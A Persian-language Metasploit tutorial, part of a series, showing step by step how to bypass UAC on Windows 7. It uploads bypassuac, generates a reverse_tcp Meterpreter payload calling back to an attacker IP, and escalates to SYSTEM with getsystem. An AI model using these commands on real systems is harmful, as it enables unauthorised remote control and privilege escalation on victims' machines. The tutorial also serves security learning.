با سلام خدمت دوستان . قسمت دوازدهم از آموزش های متااسپلویت را در پیش رو داریم . در این قسمت در خصوص دور زدن و bypass محدودیت های UAC در ویندوز 7 صحبت خواهیم کرد . فعال بودن UAC باعث محدودیت هایی برای مهاجم میشه , از محدود بودن سطح دسترسی در CMD تا انجام تنظیمات در ریجستری و …
ابتدا سناریو زیر را مطرح می کنیم سپس روشی برای حل آن پیدا می کنیم :
کار خودمون رو با فرض این که از تارگت دسترسی داریم شروع می کنیم . همچنین یوزری که از آن دسترسی گرفته ایم عضو گروه Administrators است و UAC بر روی سیستم فعال می باشد .
طبیعتا این سطح دسترسی ای که گرفتیم دارای محدودیت هایی است اما باید توجه کرد که چون یوزر عضو گروه Administrator است , می توان این محدودیت ها را دور زد .
در ویندوز XP برای بالا بردن سطح دسترسی از دستور getsystem به شکل زیر استفاده می کردیم :
meterpreter > getsystem
اما طبق سناریو بالا , این دستور بر روی ویندوز 7 اجرا نخواهد شد و اروری مبنی بر نداشتن سطح دسترسی صادر می کند :
یکی از راه حل های این مورد که در اکثر سیستم ها هم جوابگو است , این است که شل کدی ساخته و آن را به سیستم قربانی منتقل کنیم , سپس با استفاده از run as administrator آن را اجرا کنیم . طبیعتا چون شل کد را با سطح دسترسی بالا اجرا کردیم , تمامی محدودیت ها از بین خواهد رفت .
برای این مورد یعنی اجرای شل کد از طریق run as administrator از یک برنامه ی کمکی کمک خواهیم گرفت تا تمامی این مراحل بدون سر و صدا در سیستم قربانی طی شود .
نام این فایل و برنامه bypassuac است و در مسیر زیر قابل مشاهده است : ( در سیستم عامل کالی به صورت پیش فرض قرار دارد )
root@kali:~# ls -lh /usr/share/metasploit-framework/data/post/bypassuac*.exe
همان طور که در خروجی مشاهده می کنید دو فایل برای دو معماری 32 و 64 بیتی موجود است که ما از معماری 32 بیتی استفاده می کنیم .
در قدم اول وارد محیط کنسول متااسپلویت و دسترسی خود شده و این فایل را بر روی سیستم قربانی آپلود می کنیم :
meterpreter > upload /usr/share/metasploit-framework/data/post/bypassuac-x86.exe .
در قدم بعدی شل کد خودمون رو می سازیم و به سیستم قربانی منتقل می کنیم . برای این منظور ابتدا با دستور background وارد کنسول متااسپلویت شده سپس شل کد خودمون رو می سازیم :
msf exploit(handler) > msfpayload windows/meterpreter/reverse_tcp lhost=192.168.137.69 lport=2222 X > OSLearn.ir.exe
حال شل کد خودمون رو به سیستم قربانی منتقل می کنیم :
msf exploit(handler) > sessions -i 1 meterpreter > upload /root/OSLearn.ir.exe .
حال با استفاده از دستور shell به محیط CMD سیستم قربانی وارد می شویم :
meterpreter > shell
فایل هایی که آپلود کردیم در همین مسیر قرار دارند . برای اطمینان از آپلود شدن فایل هامون دستور dir را در محیط CMD اجرا می کنیم .
C:UsersimanDownloads>dir
حال با استفاده از bypassuac-x86.exe که قبلا آپلود کردیم , یک CMD با سطح دسترسی بالا برای خودمون باز می کنیم . به شکل زیر :
C:UsersimanDownloads>bypassuac-x86.exe /c cmd.exe
خب حالا یک ترمینال دیگر در کالی لینوکس باز می کنیم و به شکل زیر روی پورت 2222 روی حالت listing قرار می گیریم :
root@kali:~# msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp lhost=192.168.137.69 lport=2222 E
توجه کنید که 2222 پورتی است که در هنگام ساخت شل کد استفاده کردیم . حال به ترمینال قبلی بر می گردیم و شل کد خودمون را داخل CMD به شکل زیر اجرا می کنیم :
C:WindowsSystem32>C:UsersimanDownloadsOSLearn.ir.exe
حال می توان به ترمینال دوم نگاه کرد و دید که یک session برای ما ایجاد شده است .
حال در نشست جدیدی که باز شده می توان سطح دسترسی را تا System بالا برد :
meterpreter > getsystem ...got system (via technique 1).
همان طور که مشاهده می کنید با استفاده از این روش تونستیم سطح دسترسی را بالا ببریم . فقط باید یادمون باشه که این روش در یوزر هایی عمل می کنه که عضو گروه Administrators باشند .
موفق و موید باشید .
منبع : او اس لرن دات آی آر | http://OSLearn.ir
نویسنده : E2MA3N